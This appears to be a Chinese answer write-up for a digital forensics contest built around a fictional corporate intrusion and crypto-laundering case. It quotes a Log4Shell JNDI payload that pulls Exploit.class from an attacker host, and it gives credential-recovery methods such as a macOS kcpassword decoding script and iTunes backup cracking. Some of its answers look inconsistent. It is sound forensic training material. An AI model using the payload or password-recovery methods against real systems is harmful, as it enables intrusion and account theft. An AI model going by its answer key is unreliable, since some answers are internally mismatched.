以不同的角色为解题方向，所有结果均为拙见，打*就是没思路
AGC
2. [填空题]就AGC集团网络的流媒体服务器 (Media Server)，有多少个本地用户曾经成功登录过? (以阿拉伯数字回答) (1分)
查看登陆记录
结果为3
3. [填空题]就AGC集团网络的流媒体服务器，有多少个本地用户曾经成功用 'ssh' (Secure Shell)登录过? (以阿拉伯数字回答) (2分)
使用命令lastlog
结果为3
4. [填空题]就上述的本地用户，成功通过 'ssh' 登录过该流媒体服务器多少次? (以阿拉伯数字回答) (3分)
分析日志备份中的auth.log也可以看到登陆记录，但是由于备份日期的问题，并没有7.22的日志，所以会少一个
结果为12
5. [单选题]试找找记录失败的登录尝试信息. 有以下哪一个名称曾尝试用 'ssh:notty' 登录该流媒体服务器? (2分)
A. iamhacker
B. hacking
C. hack
D. hacker
E. 以上皆非
查看日志备份中的btmp日志
结果为C
6. [填空题]就该流媒体服务器的本地用户, 有一个用户名是 'S' 开头的, 该用户的姓氏是什么? (以大写英文回答) (3分)
全局搜索sammy，在数据库文件中发现姓氏为Li
结果为LI
7. [多选题]该流媒体服务器是有使用Docker容器 (Docker Container) 的，当中包含以下哪个Docker镜像 (Docker Image) ? (3分)
A. apache2
B. ubuntu
C. centos
D. nginx
E. hello-world
F. 以上皆非
docker命令docker images
结果为BCDE
8. [单选题]就上述的Docker镜像，哪一个镜像在系统上运行中? (2分)
A. apache2
B. ubuntu
C. centos
D. nginx
E. hello-world
F. 以上皆非
docker命令docker ps
结果为D
9. [多选题]该流媒体服务器是使用 'WordPress' 建站 (Create Website) 的，就 '比特币' 标题，有以下的电子邮箱地址曾经留有评论? (2分)
A. cn.wordpress.org
B. root58462@mail.qq.com
C. hi456@163.com
D. root@163.com
E. user1@localhost.net
F. 以上皆非
利用127.0.0.1/wordpress访问到网页，找到两个用户
所以我们需要登录数据库查看，先查看wordpress的配置文件/var/www/html/wordpress/wp-config.php，找到数据库用户密码
然后链接数据库，查看表wp_comments
另外通常我们也会直接找到保存密码的数据库文件user.ibd，找到哈希去在线解密网站直接解密，然而服务器中并没有这个文件，那么可能不管输入什么，都可以进入mysql的root账号
尝试一下发现报错，尝试申请临时root再操作一次
可以看到，不论输入什么密码，都可以登录到root上
结果为BC
10. [单选题]该流媒体服务器里其中一个本地用户是有使用 'calendar' 日历工具的, 日历内曾经提及以下哪个网站? (3分)
A. https://weibo.com
B. http://www.baidu.com
C. https://www.douyin.com
D. https://youku.com
E. https://www.binance.com
F. 以上皆非
打开日历查看
结果为E
11. [单选题]该流媒体服务器里是有使用磁盘阵列 (RAID) 的, 该设备是使用哪一个 RAID 级别? (请选择最合适的答案) (1分)
A. RAID 0
B. RAIDz2
C. RAIDz3
D. RAID 10
E. RAID 5
F. 以上皆非
调查报告中显示raid级别为mirror
结果为F
12. [单选题]该基本镜像存储池 (Basic Storage Pool) 里储存了一些视频档案, 请找出一段儿童色情影片, 该档案的最后修改时间是什么月份? (2分)
A. Jun
B. Jul
C. Aug
D. Sep
E. Oct
F. 以上皆非
仿真的时候将所有镜像都选择上，然后看/media0/mediastorage下
结果为D
13. [填空题]承上题，拥有该段儿童色情影片的用户名称是什么? (不要输入符号，以大写英文及阿拉伯数字回答) (1分)
结果为root
14. [填空题]就AGC集团网络的流媒体服务器，曾经有用户搜索过有关于儿童色情影片的资料而得到搜索结果，该用户所输入的网址是什么? (不要输入符号，以大写英文及阿拉伯数字回答，如 https://web3.com，需回答 HTTPSWEB3COM) (2分)
将儿童进行url编码为%E5%84%BF%E7%AB%A5，在xways中搜索该编码，成功定位到文件
将搜索到的关键字解码得到儿童色情
定位该文件位置\home\peter\link.html，看到访问的是百度，但不是很理解答案该怎么写，也可能是E584BFE7ABA5E889B2E68385
结果为HTTPSWWWBAIDUCOM
15. [填空题]该基本镜像存储池 (pool) 有一个快照 (Snapshot)，快照的名称是什么? (不要输入符号，以大写英文及阿拉伯数字回答，如 media/mediapool@abc123，需回答MEDIAMEDIAPOOLABC123) (1分)
使用命令zfs list -t snapshot
结果为MEDIA0MEDIASTORAGEVERSION1
16. [填空题]就上述所找到的基本镜像存储池快照 (Snapshot)，它储存了多少个档案? (以阿拉伯数字回答) (1分)
使用命令zfs rollback media0/mediastorage@version1回滚镜像，查看文件数量
结果为24
21. [单选题]分析IP地址61.238.217.108向AGC服务器10.0.66.184发送的第一个 'GET' 指令，它请求的统一资源定位系统 (Uniform Resource Locator - URL) 是什么? (1分)
A. http://155.137.195.111:8080
B. http://www.w3.org/2003/05/soap-envelope
C. http://61.238.217.108:8000
D. 以上皆非
追踪TCP流就可以看到
结果为A
22. [单选题]IP地址61.238.217.108曾经向AGC服务器10.0.66.184发送 'POST' 指令，它在 'HTML Form' 项目的 'uname' 栏所输入的字符串是什么? (1分)
A. root
B. ${jndi:ldap://61.238.217.108:1389/a}
C. application/x-www-form-urlencoded
D. password
追踪TCP流就可以看到
结果为B
23. [单选题]AGC服务器10.0.66.184收到IP地址61.238.217.108的 'POST' 指令后，它执行了哪些行动? (2分)
A. 使用端口46858连接IP地址61.238.217.108的LDAP服务器的指定端口
B. 于IP地址61.238.217.108下载了Exploit.class
C. 使用端口49264连接IP地址61.238.217.108发送同步要求
D. 以上皆是
追踪TCP流就可以看到
结果为D
24. [填空题]在上述行动后，IP地址61.238.217.108利用哪个端口 (Port) 向AGC服务器10.0.66.184发出指令? (以阿拉伯数字回答) (1分)
见上题
结果为9001
25. [多选题]AGC服务器10.0.66.184里有一个AGC目录 (Directory)，它的子目录 (Sub Directory) 包含以下哪一个? (2分)
A. Accounting
B. Picture
C. Staff
D. Sambashare
E. Retail
追踪TCP流就可以看到
结果为ACE
26. [多选题]入侵者迸入AGC服务器10.0.66.184后，他成功执行以下哪些指令? (2分)
A. 檢视了readme.txt内容
B. 删除了三个档案
C. 删除了一个目录 (Directory)
D. 替档案改名
E. 建立了两个txt档案
可以看到更改文件名、建立了两个TXT文件
结果为DE
27. [单选题]入侵者曾经传送一个档案到AGC服务器10.0.66.184并将它改名 (Rename)，这个档案的原来名称是什么？(1分)
A. cGhvdG9zT0Zyb2NreQ==
B. Finanical.xls
C. readme.txt
D. anonymous
追踪TCP流就可以看到
结果为A
28. [单选题]承上题，该档案原档的建立日期是什么? (2分)
A. 2022-10-21 08:10:30 (UTC+0)
B. 2022-10-21 16:19:39 (UTC+0)
C. 2022-10-22 08:10:30 (UTC+0)
D. 2022-10-22 14:22:06 (UTC+0)
E. 2022-10-22 16:19:39(UTC+0)
利用foremost分离出pdf文件
查看pdf文件属性
结果为B
29. [单选题]承上题，该档案的SHA-256哈希值是什么? (3分)
A. a6eef1... ...27364c
B. 54785c… ...fe86f0
C. 961f2b… ...647d55
D. a00e6c… ...d0eaab
E. 以上皆非
计算文件的sha256
结果为E
31. [单选题]分析AGC-CS计算机 (Computer) 里最初的作業系統 (Windows) ，它的实際安装时间是什么? (以时区UTC+8回答) (3分)
A. 2022-09-26 14:35:17
B. 2022-09-26 21:35:17
C. 2022-09-27 05:35:17
D. 2022-10-05 03:52:15
E. 2022-10-05 11:52:15
结果为C
32. [单选题]AGC-CS计算机里的 'Acrobat DC' 软件的安装时间是? (以时区UTC+8回答) (如答案为 2022-12-29 16:01:59，需回答 20221229160159) (1分)
A. 2022-09-28 19:01:40
B. 2022-09-28 07:18:33
C. 2022-08-30 19:01:40
D. 2022-08-30 07:18:33
结果为A
33. [单选题]AGC-CS计算机里的用户 'Carson' 链接了一个网络磁盘机 (Network Drive)，在下列哪一个档案有相关资料? (2分)
A. \Users\Carson\NTUSER.DAT
B. \Users\admin\NTUSER.DAT
C. \Windows\System32\config\SYSTEM
D. \Windows\System32\config\SOFTWARE
E. \Windows\System32\config\SECURITY
网络磁盘采用\\ip的方式进行访问，查看资源管理器的记录
跳转到源文件即可
结果为A
34. [单选题]承上题，用户 'Carson' 连接的网络磁盘机的IP地址是什么? (1分)
A. \\192.168.182.134\
B. \\192.168.182.134\photo
C. \\192.168.182.134\share
D. \\192.168.182.134\AGC
E. \\192.168.182.134\AGC photo
见上题
结果为C
35. [填空题]分析计算机里的电邮数据，当中包含嫌疑人王景浩可能的居住地址，请回答他住址的楼层 (以阿拉伯数字回答) (1分)
查看邮件解析的数据
结果为45
36. [填空题]承上题，王景浩使用的信用卡号码最后四位数字是? (1分)
查看邮件解析的数据
结果为6717
37. [填空题]AGC-CS计算机用户 'Carson' 曾经收到一个电邮并通过里面的链结下载了一个可疑的 'Word' 文件，那个档案的档案名是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (1分)
找到链接
在下载目录找到了相关文档
结果为KEFMUONDOCX
38. [单选题]承上题，分析该 'Word' 文件，它的可能用途是? (3分)
A. 访问一个网站
B. 记录键盘操作
C. 把档案加密
D. 改变桌面壁纸
E. 关闭计算机
在线分析发现漏洞，剩下的功能可能是下载的脚本的功能
结果为A
39. [单选题]AGC-CS计算机里有一个名为 'admin' 的用户，它是在何时被建立的? (以时区UTC+8回答) (1分)
A. 2022-09-28
B. 2022-09-29
C. 2022-09-30
D. 2022-10-01
E. 以上皆非
admin最早登录日期是9.29
最早更改密码日期也是9.29
同时系统安全日志中记录的创建时间也是9.29
结果为B
40. [填空题]黑客第一次采用用户 'admin' 通过远程桌面协议 (Remote Desktop Protocol - RDP) 登录了AGC-CS计算机的时间是? (以时区UTC+8回答) (如答案为 2022-12-29 16:01:59，需回答 20221229160159) (2分)
结果为20220929204102
41. [填空题]黑客入侵AGC-CS计算机后下载了一个扫描端口 (Port Scanning) 的软件，这软件的真正名称是? (以大写英文及阿拉伯数字回答) (3分)
黑客最早在29号入侵，因此看这之后的下载记录，但是只有一个putty
结果为PUTTY
42. [填空题]承上题，黑客采用上述软件取得一些计算机的IP地址及媒体访问控制地址 ('Media Access Control' Address - MAC Address) 并存到一个名为 'ip.txt' 的档案。当中 '192.168.182.130' 计算机的MAC地址是什么? (不要输入 '：' 或 '-' ，以大写英文及阿拉伯数字回答) (3分)
这份文件被传输到王景浩的苹果电脑
在王景浩的苹果电脑中找到
查看文件可以得到
结果为9061AEC09045
43. [填空题]AGC-CS计算机里的一个跳转列表 (Jumplist) 显示了用户 'admin' 曾经采用记事本 (Notepad) 打开了一个文字档案，这个文字档的SHA-256哈希值是什么? (以大写英文及阿拉伯数字回答) (3分)
利用仿真进入系统，切换到admin用户直接查看
结果为ip.txt
44. [单选题]黑客除了通过 'RDP' 外，还采用什么软件远端控制 (Remote Control) AGC-CS计算机? (1分)
A. VNC
B. Teamviewer
C. Anydesk
D. Splashtop Business Access
E. RemotePC
结果为B
45. [填空题]AGC_Server里LVM (Logical Volume Management 逻辑卷轴管理) 的 VG (Volume Group 卷组) 'pve' 共有多少PE (Physical Extent 物理块) ? (以阿拉伯数字回答) (1分)
利用ufs进行raid重组，将识别出的raid制作e01镜像并导出数据盘中的虚拟机磁盘文件
查看重组出的镜像，在头部保存有数据
仿真后使用命令vgdisplay也能查看
结果为114147
46. [填空题]AGC_Server里LVM 的 LV(邏輯卷)"pve-data" 使用了多少百分比的空間? (不用填寫 '%'，以阿拉伯数字回答) (3分)
使用命令df -h查看
结果为2
47. [多选题]AGC_Server里的 'Proxmox' 虚拟化环境 (Virtual Environment - VE) 有哪一个用户? (2分)
A. root
B. VM_admin
C. sysadmin
D. acl
E. tss
查看/etc/shadow
结果为AE
*48. [填空题]分析 'VM' (虚拟机) 编号 '111' AGC网站的网页服务器日志，当中记录了黑客曾向该服务器发出多少次與远程代码執行 (Remote Code Execution) 的网络攻击？(以阿拉伯数字回答) (2分)
查看nginx服务器配置文件/etc/nginx/conf.d/agcom.com.conf，找到访问日志
手工分析和369星图都没发现有代码执行啊。。。
不过同目录下有一堆access.log
在这些日志里面确实有代码执行
结果为17
49. [单选题]哪一个IP地址尝试登录'VM' (虚拟机) 编号 '111' 失败次数最多? (1分)
A. 38.242.130.207
B. 218.92.0.206
C. 43.142.93.22
D. 121.202.141.105
E. 61.238.217.108
结果为E
50. [填空题]黑客在入侵 'VM' 编号 '111' 后，打算涂改AGC公司的网页，黑客在传送相关档案时所用的端口 (Port) 是什么? (以阿拉伯数字回答) (3分)
在王景浩的苹果电脑中，有文件上传命令，使用的是scp，而scp在不指定参数p时，默认采用22端口
观察上传的文件，内容就是篡改网页
结果为22
51. [多选题]根据 'VM' 编号 '111' 里的网页服务器 (Web Server) 的设定，访客可从下列哪个网页地址访问这个服务器? (2分)
A. localhost
B. www.ag.com.shop
C. www.agcom.shop
D. agcom.shop
E. www.agcom.com
查看nginx服务器配置文件/etc/nginx/conf.d/agcom.com.conf
结果为DE
52. [填空题]黑客曾入侵 'VM' 编号 '111' 里的电邮系统 'Xeams'，他登录的时间是? (以unix时间戳回答，格式如:1665049779010) (2分)
查看日志/opt/Xeams/AuditLogs/20221006.aul
结果为1665049779010
53. [单选题]黑客在入侵后盗用AGC员工电邮户口及冒充AGC员工回复了电邮给客户，发出这封电邮的操作系统 (Operating System) 及电邮软件 (Mail Agent) 是什么? (2分)
A. Mac OS X 10.15 rv:102.0 Thunderbird/102.3.0
B. Mac OS X 10.15 rv:102.0 Thunderbird/91.13.1
C. Mac OS X 10.11 rv:91.0 Thunderbird/91.13.1
D. Mac OS X 10.11 rv:60.0 Thunderbird/60.9.1
E. Windows 10 Pro Outlook 2016
根据时间过滤出两个邮件
查看邮件内容
结果为D
54. [单选题]黑客在 'Proxmox' 里留下了一个被加密了的程序 (Program)，在解密后它的SHA-256哈希值 (Hash Value) 是什么? (2分)
A. C89D7A... ...8C4E76
B. C7141F... ...64BF65
C. E9433E... ...1A5134
D. 45CE1C… ...79BD4A
E. 0ACAA5… ...AB7ECE
查看历史命令，发现可疑信息，虽然解密后的文件被删除，但是给出了命令，照着跑一边即可
结果为E
55. [填空题]承上题，分析程序代码 (Program Code)，上述程序的档案名应该是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (3分)
结果为RANSOMWAREVERFINALV2PY
56. [单选题]于虚拟机 'VM' 编号 '111' 里的档案 '\srv\samba\share\AGC photo\DSC01139.JPG' ，照片中出现的街道名称是? (2分)
A. 河背街
B. 沙咀道
C. 众安街
D. 香车街
E. 川龙街
解密脚本也在代码里
改一下直接跑
结果为C
朗尼
89. [单选题]朗尼草莓 (Raspberry) 计算机操作系统的主机名称 (hostname) 是什么? (1分)
A. OpenWrt
B. admin
C. root
D. AsusRt
E. DDwrt
查看/upper/etc/config/system
结果为A
90. [多选题]以下哪项对于朗尼草莓计算机操作系统的描述是正确的? (2分)
A. LAN地址是 192.168.1.24
B. 提供点对点隧道协议 (Point-to-Point Tunneling Protocol - PPTP) VPN服务
C. WIFI登录密码为'OpenWrt'
D. 提供网络时间协议 (NTP) 服务
E. 时区设置相等于UTC+8
lan的ip是192.168.1.24
登录密码为59814785
时区为HKT-8，且有ntp，但是并未开启
配置了基于ssl的vpnOPENVPN
结果为AE
91. [多选题]承上题，'VPN' 服务器的IP地址及端口 (Port) 是什么? (2分)
A. IP地址 61.238.217.108
B. IP地址 192.168.8.1
C. IP地址 103.10.12.106
D. 端口 33248
E. 端口 1194
F. 端口 1701
查看openvpn配置
结果为AE
92. [填空题]朗尼草莓计算机操作系统设定了一个档案来储存系统的 'log_file' ，档案名称是什么? (不要输入 '.'，以大写英文及阿拉伯数字回答。如 Cat10.jpg，需回答CAT10JPG) (2分)
继续查看系统配置文件
结果为SYSLOG
93. [单选题]承上题，检视上述的档案，当中有几个IP地址曾经成功登录这个系统的 'VPN' 服务? (3分)
A. 1
B. 2
C. 3
D. 4
E. 0
分析该日志，成功登录会出现关键词Password auth succeeded，搜索一下过滤ip就行
结果为B
94. [单选题]承上题，检视上述的档案，当中有几个IP地址曾经尝试以 'root' 登入装置但因密码错误而不成功? (2分)
A. 2
B. 4
C. 5
D. 6
E. 8
继续分析日志
结果为D
95. [填空题]根据装置的过往记录，'log_file' 是设在 'usr/rooney/' 的哪个已被删除的子文件夹里 (Sub Directory)? (以大写英文回答) (3分)
在扇区中搜索
结果为RECORD
106. [单选题]朗尼的计算机有什么软件可以创建比特币钱包 (Bitcoin Wallet)? (1分)
A. MetaMask
B. Electrum
C. Trezor
D. 以上皆非
结果为B
107. [填空题]朗尼通过比特币替王景浩清洗黑钱，分析朗尼的计算机及手机，朗尼收取王景浩黑钱的比特币地址 (Bitcoin Address) 是什么? (以大写英文及阿拉伯数字回答) (1分)
结果为BC1Q0R0L3LH63WY865CD560KN3UHJQRWGGVTY4ZJ8N
108. [单选题]朗尼收取王景浩多少比特币作为清洗黑钱的费用? (1分)
A. 1%
B. 4%
C. 7%
D. 10%
E. 15%
查看聊天记录
结果为D
109. [单选题]朗尼的计算机里有一个没被加密的比特币钱包，它的回复种子 (Recovery Seed) 不包含哪一个英文字? (1分)
A. oppose
B. area
C. twice
D. roast
登录进入看到
结果为D
110. [单选题]朗尼的计算机里有多少个加密了 (Encrypted) 的比特币钱包? (1分)
A. 1
B. 2
C. 3
D. 4
E. 5
仿真打开后看到一共有6个钱包
只有rc是不加密的
结果为5
111. [单选题]朗尼将加密了的比特币钱包的密码存在他计算机的一个档案里，这个档案的副档名是什么? (以大写英文及阿拉伯数字回答) (3分)
A. DMG
B. PDF
C. ASD
D. ZIP
E. PNG
通过给出的后缀进行过滤
打开发现确实是记录了密码
如果题目没有给出后缀，还可以根据资源管理器痕迹，去找到可以的时间段，或者是根据USN日志去定位可疑文件，同时还可以通过查看电脑中的文本阅读器，如word等，这次word中就保存有如下数据，这样我们根据word还原的内容去搜索，也可以定位到文件
结果为C
112. [单选题]朗尼在手机里有一个加密了的比特币钱包，他采用什么应用程序把该钱包里的黑钱转换成另一种加密货币? (2分)
A. Safepal
B. Metamask
C. Changelly
D. Opensea
在手机图片中找到
结果为C
113. [单选题]承上题，这次转换加密货币的日期和时间是什么? (以时区UTC+8回答) (2分)
A. 2022-10-07 10:29时
B. 2022-10-07 11:06时
C. 2022-10-07 11:07时
D. 2022-10-07 13:54时
同样查看图片
结果为A
114. [单选题]朗尼在计算机里采用什么浏览器 (Browser) 及在什么日期时间在他的计算机安装 'MetaMask' ? (以时区UTC+8回答) (1分)
A. Chrome 2022-08-25 12:35时
B. Chrome 2022-10-07 14:29时
C. Firefox 2022-08-25 12:35时
D. Firefox 2022-10-07 14:29时
搜索了一下，发现在电脑中MetaMask以插件形式安装
通过定位到谷歌浏览器插件目录C:\Users\langni001\AppData\Local\Google\Chrome\User Data\Default\Extensions，通过manifest来找到MetaMask及文件创建时间
结果为B
115. [单选题]朗尼在计算机里所创建的非同质化通证 (Non-Fungible Token - NFT) 使用哪一个种区块链 (Blockchain) 技术? (1分)
A. Ethereum
B. Polygon
C. Solana
D. Arbitrum
E. Klaytn
这个NFT同样在手机截图有记录
结果为A
*116. [单选题]朗尼在什么日期时间把计算机中创建的非同质化通证 (NFT) 放售? (以时区UTC+8回答) (2分)
A. 2022-10-07 14:47时
B. 2022-10-07 14:49时
C. 2022-10-07 14:52时
D. 2022-10-07 14:54时
根据上述的地址找到访问时间
结果为A
117. [多选题]朗尼的手机里，有什么应用程序与将黑钱 (比特币) 转换成另一加密货币的地址有关? (2分)
A. Metamask
B. Opensea
C. Safepal
D. YouTube
查看应用列表，其中Opensea是与NFT有关的
结果为AC
118. [单选题]朗尼的手机里，于2022-10-07，15:07时至15:08时做过什么动作? (以时区UTC+8回答) (2分)
A. 登录 'Metamask'
B. 登录 'Opensea'
C. 屏幕截图 (Screen Capture)
D. 登录 'YouTube'
结果为C
119. [多选题]承上题，从这个动作中能找到什么资讯? (1分)
A. Opensea.io
B. Ethereum Main Network
C. Your purchase is complete
D. Subtotal = 0.0253 ETH
E. Good Luck
结果为ABC
120. [填空题]在朗尼的计算机旁找到 'MetaMask' 的密码是 'opensea741'，找出朗尼计算机里的 'MetaMask' 中有多少加密货币余额? (不要输入 '.'，以阿拉伯数字回答，如 0.137 需回答 0137) (2分)
登录
结果为00247
121. [填空题]朗尼的计算机曾用什么电邮地址登录电邮帐号? (不要输入答案中的 '@' 及 '.'，以大写英文及阿拉伯数字回答，如name@mail.com，需回答 NAMEMAILCOM) (1分)
结果为ROONEYCHAN19830801GMAILCOM
122. [填空题]什么电邮账号曾接收过上述电邮地址发送的电邮？（不要输入答案中的 '@' 及 '.'，以大写英文及阿拉伯数字回答，如name@mail.com，需回答 NAMEMAILCOM） (1分)
结果为KINGHOO0W0GMAILCOM
123. [多选题]承上题，上述的电邮附件包含哪些类型的档案? (3分)
A. pdf
B. doc
C. png
D. txt
E. jpg
上述邮件在取证大师中的附件大小为0，实际上附件是存在的，但是取证大师没有解析，因为附件被放到了另一个文件当中，使用邮箱程序应该可以正常打开
同时也可以自行转换，邮件的附件都是以base64形式保存，可以使用脚本直接跑出压缩包
import base64
file_path = "251.2.emlxpart"
target_file = "Recover Seed.zip"
def b64_to_file(path,target):
b64str = ""
with open(path,"r",encoding="utf-8") as fr:
for line in fr.readlines():
b64str += line.strip()
with open(target,"wb") as fw:
fw.write(base64.b64decode(b64str))
if __name__=="__main__":
b64_to_file(file_path,target_file)
但是实际上这个压缩包在Ronny和王景浩的电脑中都是有的
打开这个压缩包，发现压缩包中文件大小和压缩包的大小不匹配
那么这个压缩包中肯定有其他文件，但是由于某种原因没有显示，在数据中搜索上述后缀名，发现了一个JPG图片
将该压缩包使用WinRAR进行修复，修复后的压缩包内容显示正常
结果为DE
124. [填空题]上述电邮附件里的文件，被遮蔽的英文单字是什么? (以大写英文回答) (3分)
压缩包中的图片如下，这是都是recovery seed，第一个单词被挡住
那么回到电脑中去找到对应的种子就可以了，电脑中的6个钱包中的种子都不匹配，剩下一个回收站中的rc3，但是不知道密码，放大图片看到被盖住的两个像是ea，那么结尾就是each
找到钱包字典
搜索后发现字典中只有beach和teach，但是使用beach的时候BIP39会报错，而teach不报错
结果为teach
125. [填空题]根据上述电邮附件里找到的回复种子 (Recovery Seed)，计算朗尼在 'MetaMask' 使用的以太币 (Ethereum) 地址。(提示：BIP-44 derivation path = m/44'/60'/0'/0/0) (以大写英文及阿拉伯数字回答) (3分)
结果为2AAEAB9592B749CE6355ED19D048F86F5EA5D819
1. [填空题]在朗尼手机于2022年9月30日的 'WhatsApp' 对话里，有一段音讯 (Voice Message) 提到王景浩会给朗尼现金多少作为租用 'VPN' 的租金? (以阿拉伯数字回答) (3分)
au进行反向播放
结果为3000
126. [单选题]在2022年9月28日18时51分 (UTC+8)，朗尼曾经在手机用WhatsApp与王景浩对话，语句 [有灯，风扇经常在转]，回复这句话的相关语句是什么? (1分)
A. 你有推介吗?
B. 我之前放在你家的机械运作正常吗?
C. 有灯号风扇有转动?
D. 帅吗?
结果为C
127. [单选题]朗尼通过手机相约王景浩于10月15日到哪一个地区食晚饭? (1分)
A. 荃湾
B. 湾仔
C. 九龙城
D. 九龙塘
结果为A
128. [填空题]朗尼手机的 'WhatsApp' 号码是什么? ( 号码 ) @s.whatsapp.net? (以阿拉伯数字回答) 85259814785(1分)
结果为85259814785
129. [多选题]朗尼的手机曾连接以下哪一个WIFI网络? (2分)
A. taiiphone
B. rooneyhome
C. Function Room
D. TP-Link
结果为AC
130. [单选题]朗尼的手机曾连接WIFI [SSID: faifai], 它的登录密码是什么 ? (2分)
A. abcd5678
B. aaaa0000
C. rooney111
D. rdfu1234
结果为D
王景浩
17. [单选题]王景浩的USB记忆棒里有一个 'Data' 文件夹 (Folder)，它存有哪一种类型的密钥文件? (1分)
A. pem
B. cer
C. crt
D. key
E. 以上皆非
可以看到用的是RSA，那么类型就是pem
结果为A
18. [多选题]承上题，'Data' 文件夹里有一个被加密了的档案，它是被哪一种加密方法加密? (2分)
A. Symmetric
B. PGP
C. Twofish
D. RSA
E. Triple DES
在该目录的note目录下，有加密算法，使用了Fernet和rsa，其中Fernet使用的是对称加密算法，即Symmetric
结果为AD
19. [单选题]尝试将档案解密，该档案属于哪一个类型 (File type)? (2分)
A. exe
B. ods
C. rtf
D. sql
E. 以上皆非
在note中有解密代码
根据给的思路写下来就可以
from cryptography.fernet import Fernet
import rsa
with open("P1","rb") as fr1:
fk = fr1.read()
K = rsa.PrivateKey.load_pkcs1(fk)
with open("minecraft.exe","rb") as ef:
V2 = ef.read(128)
V3 = ef.read()
decrypted_key = rsa.decrypt(V2,K)
cipher = Fernet(decrypted_key)
decrypted_file=cipher.decrypt(V3)
with open("decrypted_file.txt","wb") as fw:
fw.write(decrypted_file)
解开之后的内容是个sql备份文件
结果为D
20. [多选题]承上题，找出以下哪一个名字出现在该档案里? (3分)
A. Armand To
B. Adam Smasher
C. Beverly Kot
D. Huma Chan
E. 以上皆非
在文件中搜索
结果为AC
57. [单选题]王景浩的计算机使用什么文件系统 (File System) ? (1分)
A. exFAT
B. APFS
C. HFS
D. HFS+
取证大师直接查看
结果为D
58. [单选题]王景浩计算机的操作系统 (Operating System) 版本是什么? (1分)
A. 10.4.11
B. 10.9.5
C. 10.10.5
D. 10.11.6
取证大师直接看
结果为D
59. [填空题]王景浩的计算机当前有多少个用户 (包括访客 'Guest' )? (以阿拉伯数字回答) (1分)
取证大师直接看
结果为6
60. [填空题]王景浩的计算机里有一个用户被删除，被删除的用户名称是什么? (以大写英文回答) (1分)
取证大师直接看
结果为BROTHER
61. [填空题]王景浩的计算机有多少个 '聚焦' 的搜索记録 (Spotlight Search) ? (以阿拉伯数字回答) (1分)
全局搜索
结果为9
62. [单选题]当用户设置了自动登录 (Auto Login) 后，王景浩计算机的操作系统会产生哪个档案? (2分)
A. manifest.plist
B. info.plist
C. PasswordPanel.strings
D. kcpassword
不懂就百度
结果为D
63. [单选题]王景浩计算机的登录密码 (Login Password) 是什么? (2分)
A. 1qa@WS3ed
B. 3ed$RF5tg
C. 5tg^YH7uj
D. 2ws$RF6yh
xways可以直接解析出kcpassword中的密码
也可以通过解密脚本进行解密
#key是固定的值
key = [125, 137, 82, 35, 210, 188, 221, 234, 163, 185, 31]
length = len(key)
#pwd是kcpassword文件中的16进制值的10进制
pwd = [79, 254, 33, 7, 128, 250, 235, 147, 203, 185, 120, 187]
end = False
kcpassword = []
for i in range(len(pwd)):
if pwd[i] ^ key[i % length] == 0:
end = True
if end == False:
kcpassword.append(str(chr(pwd[i] ^ key[i % length])))
print(''.join(map(str, kcpassword)))
结果为D
64. [单选题]在王景浩的计算机里，他最后使用哪个电邮地址登录 'iCloud' 账号? (2分)
A. kinghoo0w0@gmail.com
B. wonghoo588@yahoo.com
C. kingho726@aol.com
D. kinghoo0w0@yahoo.com
结果为A
65. [多选题]王景浩计算机里的手机备份 (iTunes Backup) 包含哪些iOS版本? (2分)
A. 12.5.6
B. 15.4
C. 15.5
D. 16.0.3
查看两个备份的manifest.plist文件的ProductVserion的值
结果为AC
*66. [填空题]王景浩曾经将一台 iPhone 6 连接他的计算机，请问它最后的连接时间是什么? (以时区UTC+8回答) (如答案为 2022-12-29 16:01:59，需回答 20221229160159) (2分)
蓝牙连接记录
USB连接记录
USB最早的记录也比蓝牙晚
结果为20220819152402
67. [单选题]苹果手机备份的密码 (iTunes Backup Encryption Password) 会记录在什么档案? (2分)
A. Info.plist
B. privacy.json
C. Manifest.plist
D. PasswordPanel.strings
利用passware载入Manifest.plist文件时，可以对备份进行破解
结果为C
68. [多选题]以下哪种工具可以用作破解密码? (1分)
A. Passware
B. John The Ripper
C. HashCat
D. Password Recovery Toolkit
常识题，以上都可以对密码进行破解
结果为ABCD
69. [多选题]通过 'hashcat' 破解 'iTunes Backup' 密码需要制订一个 'txt' 档案，若该备份的手机iOS版本是10以上，需要按照下列哪个提示字符 (String) 的数据去制订这个 'txt' 档案? (3分)
A. WPKY
B. ITER
C. SALT
D. DPIC
E. DPSL
不会就百度
结果为ABCDE
70. [填空题]王景浩采用了4位数字加密了他的iPhone XR的备份，分析它的密码是什么? (以阿拉伯数字回答) (3分)
使用passware设置4位数字规则跑出密码
结果为2022
*71. [填空题]最后一次连上王景浩计算机的3D打印机的IP地址是什么? (不要输入答案中的 '.'，以阿拉伯数字回答) (2分)
根据时间找到ip
结果为1014140
*72. [填空题]3D打印机最后一次在王景浩的计算机尝试打印的时间? (以时区UTC+8回答) (2分)
结果为20221020162806
73. [单选题]最后一次经由王景浩计算机打印的3D图档案名字是什么? (2分)
A. CE3_balljoint_extender.gcode
B. um3-penguin-real-mini-keychain-merged-tpu.gcode
C. CE3_Prancer.gcode
D. CE3_2020-psu-atx-mount.gcode
结果为D
*74. [单选题]王景浩计算机的Safari浏览器的默认搜索引擎 (Default Search Engine) 是什么? (2分)
A. 百度
B. 谷歌
C. 360
D. Safari
查看搜索记录，大部分都是谷歌
结果为B
75. [单选题]分析王景浩计算机的数据，王景浩的比特币钱包 (Bitcoin Wallet) 地址是什么? (2分)
A. bc1quw… ...zpzjzt
B. bc1qm… ...5f7n9g
C. bc1q79… ...h4sq52
D. bc1qsl… ...je7hkk
邮件附件
结果为A
76. [单选题]AGC公司员工 'Carson' 有一个由公司发给他的电邮账户，分析王景浩的计算机数据并找出 'Carson' 的电邮账户密码。(2分)
A. AGC2020@pw
B. AGC2012@PW
C. AGC2020@hkg
D. AGC2021@PW
注意不要被混淆
结果为A
77. [填空题]王景浩曾经冒充AGC公司员工 'Carson' 发送电邮给AGC 客户，这封电邮的 'Message-ID' 是什么? 回答它的首８位数值。(以大写英文和阿拉伯数字回答，如 4GEF90GD) (2分)
服务器中的邮件，两封邮件的id不一样
但是在mac中的两封邮件的id是一样的，这里填mac中的
结果为004001D8
78. [多选题]王景浩采用计算机里的哪种工具进入和盗取AGC公司的数据? (2分)
A. Teamviewer
B. OpenVPN
C. Remote Desktop Manager
D. Tor Browser
通过远程连接，并使用了VPN
结果为ABC
79. [多选题]王景浩在AGC公司盗取了下列什么类型的档案? (2分)
